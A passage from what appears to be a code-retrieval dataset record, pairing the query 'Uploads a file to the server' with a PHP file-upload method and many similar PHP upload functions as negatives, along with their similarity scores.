"0.6731604",
"0.67000175",
"0.66906303",
"0.6625953",
"0.6570867",
"0.65483713",
"0.6391268",
"0.63890934",
"0.6369674",
"0.6362184",
"0.6352915",
"0.63459617",
"0.63003916",
"0.6296474",
"0.61864287",
"0.61827487",
"0.61670893",
"0.61637485",
"0.6134757",
"0.6114922",
"0.61016023",
"0.609565",
"0.6052802",
"0.5970424",
"0.5954121",
"0.5922365",
"0.5887374",
"0.5882935",
"0.5864973",
"0.58488804",
"0.58381546",
"0.58295053",
"0.58244735",
"0.582403",
"0.5821392",
"0.58119166",
"0.5802896",
"0.5801697",
"0.5792994",
"0.5784324",
"0.57790524",
"0.5777089",
"0.5734744",
"0.5731575",
"0.5722577",
"0.57211095",
"0.5690062",
"0.5687951",
"0.56809527",
"0.5675919",
"0.5675919",
"0.56669766",
"0.5665831",
"0.56555486",
"0.5650979",
"0.5643789",
"0.5633575",
"0.5626872",
"0.5613293",
"0.56128556",
"0.56128186",
"0.5608978",
"0.56050867",
"0.5603146",
"0.5598131",
"0.5597081",
"0.55935967",
"0.55856687",
"0.55832624",
"0.55797267",
"0.5575537",
"0.557133",
"0.5565259",
"0.5554816",
"0.5547604",
"0.5547048",
"0.554174",
"0.5539434",
"0.55348766",
"0.552662",
"0.55231625",
"0.5519093",
"0.55105835",
"0.5507019",
"0.5504412",
"0.55039465",
"0.55031455",
"0.549747",
"0.5486837",
"0.5485407",
"0.54831177",
"0.54804826",
"0.5477799",
"0.5474717",
"0.5473329",
"0.54508734",
"0.54502386"
] | 0.7324605 | 1 |
Uploads a file to the server | public function uploadFile($file, $fileName, $fileExtension = 'file', $isImage = false, $path = null)
{
// If a file was given
if(FileComponent::fileGiven($file))
{
// Check if it is an image
if($isImage){
$type = explode('/', $file['type']);
if($type[0] != 'image')
{
return false;
}
}
// Check if the pdf is actually a pdf
if($fileExtension == 'pdf')
{
$type = explode('/', $file['type']);
if($type[1] != 'pdf')
{
return false;
}
}
// Create a correct path
$filePath = FileComponent::createFilePath($path, $fileName, $fileExtension, $isImage);
// If there where no error uploading the file to the temporary server
if($file['error'] == UPLOAD_ERR_OK)
{
// Upload it to the ftp
if(move_uploaded_file($file['tmp_name'],$filePath))
{
return true;
}
}
}
return false;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function upload();",
"function upload_file() {\n upload_file_to_temp();\n }",
"public function upload()\n {\n App::import('Lib', 'Uploads.file_receiver/FileReceiver');\n App::import('Lib', 'Uploads.file_dispatcher/FileDispatcher');\n App::import('Lib', 'Uploads.file_binder/FileBinder');\n App::import('Lib', 'Uploads.UploadedFile');\n\n $this->cleanParams();\n $Receiver = new FileReceiver($this->params['url']['extensions'], $this->params['url']['limit']);\n $Dispatcher = new FileDispatcher(\n Configure::read('Uploads.base'),\n Configure::read('Uploads.private')\n );\n $Binder = new FileBinder($Dispatcher, $this->params['url']);\n try {\n $File = $Receiver->save(Configure::read('Uploads.tmp'));\n $Binder->bind($File);\n $this->set('response', $File->getResponse());\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').'Uploaded '.$File->getName().chr(10), FILE_APPEND);\n } catch (RuntimeException $e) {\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').$e->getMessage().chr(10), FILE_APPEND);\n $this->set('response', $this->failedResponse($e));\n }\n $this->layout = 'ajax';\n $this->RequestHandler->respondAs('js');\n }",
"public function upload($file, $local_file);",
"public function actionUpload()\n\t{\n\n\t\t$input = craft()->request->getPost();\n\n\t\t$file = UploadedFile::getInstanceByName('file');\n\n\t\t$folder = craft()->assets->findFolder(array(\n\t\t 'id' => $input['id']\n\t\t));\n\n\t\tif ($folder) {\n\t\t\t$folderId = $input['id'];\n\t\t}\n\n\t\tcraft()->assets->insertFileByLocalPath(\n\t\t $file->getTempName(),\n\t\t $file->getName(),\n\t\t $folderId,\n\t\t AssetConflictResolution::KeepBoth);\n\n\t\tcraft()->end();\n\t}",
"public function upload()\n\t{\n\t}",
"public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // si on avait un ancien fichier on le supprime\n if (null !== $this->tempFilename) {\n $oldFile = $this->getUploadRootDir().'/'.$this->id.'.'.$this->tempFilename;\n if (file_exists($oldFile)) {\n unlink($oldFile);\n }\n }\n\n // déplace le fichier envoyé dans le répertoire de notre choix\n $this->file->move(\n $this->getUploadRootDir(), // répertoire de destination\n $this->id.'.'.$this->url // nom du fichier à créer \"id.extension\"\n );\n\n }",
"public function upload($file) {\n /*\n ** is there some file to upload\n */\n if (isset($file))\n FileLoaderController::setFiles($file);\n else\n API::error('No file found.');\n\n /*\n ** Upload the current media\n */\n FileLoaderController::upload($this);\n\n }",
"public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->id . '.' .$this->ext\n );\n\n // set the ext property to the filename where you've saved the file\n //$this->ext = $this->file->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move to\n\n\n\t\t\t\tif(!file_exists($this->getUploadRootDir())) mkdir($this->getUploadRootDir(), 0777, true);\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n\n $filePath = md5(uniqid($this->getIdUser().\"_profil\",true)).\".\".\n $this->getFile()->guessClientExtension();\n\n $this->getFile()->move(\n $this->getUploadRootDir(),$filePath\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filePath;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n $filename = time().'_'.$this->getFile()->getClientOriginalName();\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::$SERVER_PATH_TO_VIDEO_FOLDER,\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $partes_ruta = pathinfo($this->getFile()->getClientOriginalName());\n $this->nombre = md5(uniqid()) . '.' . $partes_ruta['extension'];\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->nombre\n );\n\n $this->url = $this->getWebPath();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function uploadFile(){\n\n if (!$this->request->is('post'))\n {\n $this->setErrorMessage('Post method required');\n return;\n }\n\n if (!isset($this->request->data['currentPath']) ||\n !isset($this->request->params['form']) ||\n !isset($this->request->params['form']['idia'])\n ){\n $this->setErrorMessage('Invalid parameters');\n return;\n }\n\n $path = ltrim(trim($this->request->data['currentPath']), DS);\n $tokens = explode(DS, strtolower($path));\n\n ($tokens[0] == 'root') && ($tokens = array_slice($tokens, 1, null, true));\n\n $path = implode(DS, $tokens);\n $fullPath = WWW_FILE_ROOT . strtolower($path);\n\n if(!is_dir($fullPath)){\n $this->setErrorMessage('Invalid path');\n return;\n }\n\n if(is_file($fullPath . DS . strtolower($this->request->params['form']['idia']['name']))){\n $this->setErrorMessage('File with similar name already exist');\n return;\n }\n\n $newFile = new File($fullPath . DS . strtolower($this->request->params['form']['idia']['name']), true );\n $newFile->close();\n\n $tempFile = new File(($this->request->params['form']['idia']['tmp_name']));\n $tempFile->copy($fullPath . DS .$this->request->params['form']['idia']['name']);\n $tempFile->delete();\n\n $this->set(array(\n 'status' => 'ok',\n \"message\" => 'successful',\n \"_serialize\" => array(\"message\", \"status\")\n ));\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n // The file property can be empty if the field is not required\n if (null === $this->file) {\n return;\n }\n\n // Use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->path\n );\n\n // Set the path property to the filename where you've saved the file\n $this->path = $this->file->getClientOriginalName();\n\n // Clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n\t{\n\t if (null === $this->getFile()) {\n\t return;\n\t }\n\t\n\t // use the original file name here but you should\n\t // sanitize it at least to avoid any security issues\n\t\n\t // move takes the target directory and then the\n\t // target filename to move to\n\t \n\t $this->getFile()->move($this->getWebPath(),$this->imagen);\n\t \n\t \n\t // set the path property to the filename where you've saved the file\n\t $this->path = $this->getFile()->getClientOriginalName();\n\t\t//$this->temp = \n\t // clean up the file property as you won't need it anymore\n\t $this->file = null;\n\t}",
"public function upload()\n {\n //Checks if the path is null\n if (null === $this->file) {\n return;\n }\n\n $hash = uniqid('', true);\n $extension = $this->file->getClientOriginalExtension();\n $newFilename = $hash.'.'.$extension;\n\n $this->file->move($this->getUploadRootDir(), $newFilename);\n $this->path = $newFilename;\n\n // Clean the path file\n $this->file = null;\n }",
"abstract protected function doUpload();",
"public function upload() {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n \n\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n Image::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->path\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function uploadAction()\n {\n // default file URI\n $defaultUri = $this->_config->urlBase . 'files/';\n\n // store for sparql queries\n $store = $this->_owApp->erfurt->getStore();\n\n // DMS NS var\n $dmsNs = $this->_privateConfig->DMS_NS;\n\n // check if DMS needs to be imported\n if ($store->isModelAvailable($dmsNs) && $this->_privateConfig->import_DMS) {\n $this->_checkDMS();\n }\n\n $url = new OntoWiki_Url(\n array('controller' => 'files', 'action' => 'upload'),\n array()\n );\n\n // check for POST'ed data\n if ($this->_request->isPost()) {\n $event = new Erfurt_Event('onFilesExtensionUploadFile');\n $event->request = $this->_request;\n $event->defaultUri = $defaultUri;\n // process upload in plugin\n $eventResult = $event->trigger();\n if ($eventResult === true) {\n if (isset($this->_request->setResource)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('File attachment added', OntoWiki_Message::SUCCESS)\n );\n $resourceUri = new OntoWiki_Url(array('route' => 'properties'), array('r'));\n $resourceUri->setParam('r', $this->_request->setResource, true);\n $this->_redirect((string)$resourceUri);\n } else {\n $url->action = 'manage';\n $this->_redirect((string)$url);\n }\n }\n }\n\n $this->view->placeholder('main.window.title')->set($this->_owApp->translate->_('Upload File'));\n OntoWiki::getInstance()->getNavigation()->disableNavigation();\n\n $toolbar = $this->_owApp->toolbar;\n $url->action = 'manage';\n $toolbar->appendButton(\n OntoWiki_Toolbar::SUBMIT, array('name' => 'Upload File')\n );\n $toolbar->appendButton(\n OntoWiki_Toolbar::EDIT, array('name' => 'File Manager', 'class' => '', 'url' => (string)$url)\n );\n\n $this->view->defaultUri = $defaultUri;\n $this->view->placeholder('main.window.toolbar')->set($toolbar);\n\n $url->action = 'upload';\n $this->view->formActionUrl = (string)$url;\n $this->view->formMethod = 'post';\n $this->view->formClass = 'simple-input input-justify-left';\n $this->view->formName = 'fileupload';\n $this->view->formEncoding = 'multipart/form-data';\n if (isset($this->_request->setResource)) {\n // forward URI to form so we can redirect later\n $this->view->setResource = $this->_request->setResource;\n }\n\n if (!is_writable($this->_privateConfig->path)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('Uploads folder is not writable.', OntoWiki_Message::WARNING)\n );\n return;\n }\n\n // FIX: http://www.webmasterworld.com/macintosh_webmaster/3300569.htm\n header('Connection: close');\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload_foto_file()\n\t{\n\t\tif (!$this->is_allowed('m_ads_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'm_ads',\n\t\t]);\n\t}",
"public function upload_local_file()\n\t{\n if ($this->local_file) {\n \t$s3 = AWS::createClient('s3');\n $s3->putObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location,\n 'SourceFile' => $this->local_file,\n 'ContentType' => $this->mime,\n 'StorageClass' => $this->storage,\n 'ServerSideEncryption' => $this->encryption\n )\n );\n }\n\t}",
"public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n if(!is_dir($this->getTargetUploadRootDir())){\n mkdir($this->getTargetUploadRootDir(), 0777, true);\n }\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getTargetUploadRootDir(),\n $this->file->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = date('Y-m-d').DIRECTORY_SEPARATOR.$this->id.DIRECTORY_SEPARATOR.$this->file->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->setImageName($this->getFile()->getClientOriginalName());\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function uploadAction()\n {\n $logedUser = $this->getServiceLocator()\n ->get('user')\n ->getUserSession();\n $permission = $this->getServiceLocator()\n ->get('permissions')\n ->havePermission($logedUser[\"idUser\"], $logedUser[\"idWebsite\"], $this->moduleId);\n if ($this->getServiceLocator()\n ->get('user')\n ->checkPermission($permission, \"edit\")) {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Get Message Service\n $message = $this->getServiceLocator()->get('systemMessages');\n \n $files = $request->getFiles()->toArray();\n $temp = explode(\".\", $files[\"file\"][\"name\"]);\n $newName = round(microtime(true));\n $newfilename = $newName . '.' . end($temp);\n $image = new Image();\n $image->exchangeArray(array(\n \"website_id\" => $logedUser[\"idWebsite\"],\n \"name\" => $newName,\n \"extension\" => end($temp)\n ));\n if ($image->validation()) {\n if (move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], \"public/files_database/\" . $logedUser[\"idWebsite\"] . \"/\" . $newfilename)) {\n $result = $this->getImageTable()->saveImage($image);\n $message->setCode($result);\n // Log\n $this->getServiceLocator()\n ->get('systemLog')\n ->addLog(0, $message->getMessage(), $message->getLogPriority());\n die('uploadSucess');\n } else {\n die('uploadError');\n }\n } else {\n die('Invalid extension');\n }\n }\n die(\"forbiden\");\n } else {\n die(\"forbiden - without permission\");\n }\n }",
"public function uploadFile(RemoteFileRequest $request)\n {\n $file = $request->file('file');\n\n $name = $file->getClientOriginalName();\n $path = 'uploads/' . date('Y') . '/' . date('m');\n\n // Upload file to server\n $s3 = $this->createS3Service->make($request->bucket);\n\n // putFile automatically controls the streaming of this file to the storage\n $s3->putFileAs($path, $file, $name, $this->createS3Service->getFileVisibility($request->is_public));\n\n // Add a new entry to the database\n RemoteFile::create([\n 'name' => $name,\n 'path' => $path,\n 'bucket' => $request->bucket,\n 'created_by' => admin()->id,\n 'is_public' => $request->is_public,\n ]);\n\n return back()->with('success', 'File Uploaded successfully');\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // if there is an error when moving the file, an exception will\n // be automatically thrown by move(). This will properly prevent\n // the entity from being persisted to the database on error\n $this->getFile()->move($this->getUploadRootDir(), $this->fileName);\n\n // check if we have an old image\n if (isset($this->temp)) {\n // delete the old image\n unlink($this->getUploadRootDir().'/'.$this->temp);\n // clear the temp image path\n $this->temp = null;\n }\n $this->file = null;\n }",
"public function uploadFile($file, $path)\n\t{\n\t\tStorage::makeDirectory($path);\n\t\tif($filename = $file->store($path)) {\n\t\t\treturn $filename;\n\t\t}\n\t\tabort(422, 'upload failed');\n\t}",
"public function upload()\n {\n set_time_limit(0);\n //Clear error messages\n Registry::getMessages();\n //Config\n $config = Registry::getConfig();\n //Upload Handler\n new UploadHandler(\n array(\n 'upload_dir' => $config->get(\"path\").\"/files/videos/\",\n 'upload_url' => Url::site(\"files/videos\").\"/\",\n \"maxNumberOfFiles\" => 1,\n \"accept_file_types\" => \"/\\.(mp4|mpg|flv|mpeg|avi)$/i\",\n )\n );\n }",
"public function uploadtoserver() {\r\n $targetDir = $_SERVER['DOCUMENT_ROOT'] . '/uploads/items/';\r\n\r\n //$cleanupTargetDir = false; // Remove old files\r\n //$maxFileAge = 60 * 60; // Temp file age in seconds\r\n // 5 minutes execution time\r\n @set_time_limit(5 * 60);\r\n\r\n // Uncomment this one to fake upload time\r\n // usleep(5000);\r\n // Get parameters\r\n $chunk = isset($_REQUEST[\"chunk\"]) ? $_REQUEST[\"chunk\"] : 0;\r\n $chunks = isset($_REQUEST[\"chunks\"]) ? $_REQUEST[\"chunks\"] : 0;\r\n $fileName = isset($_REQUEST[\"name\"]) ? $_REQUEST[\"name\"] : '';\r\n // Clean the fileName for security reasons\r\n $fileName = preg_replace('/[^\\w\\._]+/', '', $fileName);\r\n\r\n // Make sure the fileName is unique but only if chunking is disabled\r\n if ($chunks < 2 && file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName)) {\r\n unlink($targetDir . DIRECTORY_SEPARATOR . $fileName);\r\n /*$ext = strrpos($fileName, '.');\r\n $fileName_a = substr($fileName, 0, $ext);\r\n $fileName_b = substr($fileName, $ext);\r\n\r\n $count = 1;\r\n while (file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName_a . '_' . $count . $fileName_b))\r\n $count++;\r\n\r\n $fileName = $fileName_a . '_' . $count . $fileName_b;*/\r\n }\r\n\r\n // Create target dir\r\n if (!file_exists($targetDir))\r\n @mkdir($targetDir);\r\n\r\n if (isset($_SERVER[\"HTTP_CONTENT_TYPE\"]))\r\n $contentType = $_SERVER[\"HTTP_CONTENT_TYPE\"];\r\n\r\n if (isset($_SERVER[\"CONTENT_TYPE\"]))\r\n $contentType = $_SERVER[\"CONTENT_TYPE\"];\r\n\r\n // Handle non multipart uploads older WebKit versions didn't support multipart in HTML5\r\n if (strpos($contentType, \"multipart\") !== false) {\r\n if (isset($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {\r\n // Open temp file\r\n $out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? \"wb\" : \"ab\");\r\n if ($out) {\r\n // Read binary input stream and append it to temp file\r\n $in = fopen($_FILES['file']['tmp_name'], \"rb\");\r\n\r\n if ($in) {\r\n while ($buff = fread($in, 4096))\r\n fwrite($out, $buff);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 101, \"message\": \"Failed to open input stream.\"}, \"id\" : \"id\"}');\r\n fclose($in);\r\n fclose($out);\r\n @unlink($_FILES['file']['tmp_name']);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 102, \"message\": \"Failed to open output stream.\"}, \"id\" : \"id\"}');\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 103, \"message\": \"Failed to move uploaded file.\"}, \"id\" : \"id\"}');\r\n }\r\n else {\r\n // Open temp file\r\n $out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? \"wb\" : \"ab\");\r\n if ($out) {\r\n // Read binary input stream and append it to temp file\r\n $in = fopen(\"php://input\", \"rb\");\r\n\r\n if ($in) {\r\n while ($buff = fread($in, 4096))\r\n fwrite($out, $buff);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 101, \"message\": \"Failed to open input stream.\"}, \"id\" : \"id\"}');\r\n\r\n fclose($in);\r\n fclose($out);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 102, \"message\": \"Failed to open output stream.\"}, \"id\" : \"id\"}');\r\n }\r\n // Return JSON-RPC response\r\n die('{\"jsonrpc\" : \"2.0\", \"result\" : null, \"id\" : \"id\"}');\r\n }",
"function upload($path) {\r\n\t\t$ok = false;\r\n\r\n\t\t$this->uploadpath .= $path . '/';\r\n\r\n\t\tif ($this->validate()) {\r\n\t\t\t$this->filename = $this->params['form']['Filedata']['name'];\r\n\t\t\t$ok = $this->write();\r\n\t\t}\r\n\t\t\r\n\t\tif (!$ok) {\r\n\t\t\theader(\"HTTP/1.0 500 Internal Server Error\");\t//this should tell SWFUpload what's up\r\n\t\t\t$this->setError();\t//this should tell standard form what's up\r\n\t\t}\r\n\t\t\r\n\t\treturn ($ok);\r\n\t}",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->backgroundImage = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload(): void\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function upload($file, $dest)\n\t{\n\t}",
"public function upload(): void\n {\n // check if we have an old image\n if ($this->oldFileName !== null) {\n $this->removeOldFile();\n }\n\n if (!$this->hasFile()) {\n return;\n }\n\n $this->writeFileToDisk();\n\n $this->file = null;\n }",
"public function uploadFile(UploadFileRequest $request): UploadFileResponse\n {\n }",
"public function uploadFileToCloud() {\n\n\t\ttry {\n\n\t\t\tif (!Request::hasFile('file')) throw new \\Exception(\"File is not present.\");\n\n\t\t\t$attachmentType = Request::input('attachment_type');\n\n\t\t\tif (empty($attachmentType)) throw new \\Exception(\"Attachment type is missing.\");\n\n\t\t\t$file = Request::file('file');\n\n\t\t\tif (!$file->isValid()) throw new \\Exception(\"Uploaded file is invalid.\");\n\n\t\t\t$fileExtension = strtolower($file->getClientOriginalExtension());\n\t\t\t$originalName = $file->getClientOriginalName();\n\n\t\t\tif ($attachmentType == 'image' || $attachmentType == 'logo') {\n\t\t\t\tif (!in_array($fileExtension, array('jpg', 'png', 'tiff', 'bmp', 'gif', 'jpeg', 'tif'))) throw new \\Exception(\"File type is invalid.\");\n\t\t\t} else if ($attachmentType == 'audio') {\n\t\t\t\tif (!in_array($fileExtension, array('mp3', 'wav'))) throw new \\Exception(\"File type is invalid.\");\n\t\t\t}\n\n\t\t\t$additionalImageInfoString = Request::input('additionalImageInfo');\n\n\t\t\t$attachmentObj = ConnectContentAttachment::createAttachmentFromFile(\\Auth::User()->station->id, $file, $attachmentType, $originalName, $fileExtension, $additionalImageInfoString);\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success', 'data' => array('attachment_id' => $attachmentObj->id, 'filename' => $originalName, 'url' => $attachmentObj->saved_path)));\n\n\t\t} catch (\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\n\t}",
"function media_upload_file()\n {\n }",
"public static function upload_file($file,$path){\n\t\t\t $filename = $file['name'];\n $source = $file['tmp_name'];\n\t\t\t $ext = pathinfo($filename,PATHINFO_EXTENSION);\n\t\t\t $size = $file['size'] / 1000000;\n\t\t\t self::$filesize = number_format((float)$size, 2, '.', '');\n\t\t\t self::$filesize .= 'MB';\n\n\t\t\t if (self::$name)\n\t\t\t {\n\t\t\t\t $target = $path.self::$name.\".\".$ext;\n\t\t\t\t self::$filename = self::$name.\".\".$ext; \n\t\t\t } \n\t\t\t else \n\t\t\t {\n\t\t\t \t$target = $path.$filename; \n\t\t\t }\n move_uploaded_file($source, $target);\n\t\t}",
"public function upload() {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(), $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->photo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"protected function uploadFile()\n {\n return $this->getTelegram()->uploadFile(\n $this->method->apiEndpoint(),\n $this->method->toArray(),\n $this->method->fileUploadField()\n );\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = '/'.$this->getUploadDir().'/'.$this->getFile()->getClientOriginalName();\n //get the file name\n// $file = $this->getFile()->getClientOriginalName();\n// $info = pathinfo($file);\n// $file_name = basename($file,'.'.$info['extension']);\n// $this->name = $file_name ;\n// $this->setName($file_name);\n// // clean up the file property as you won't need it anymore\n// $this->file = null;\n }",
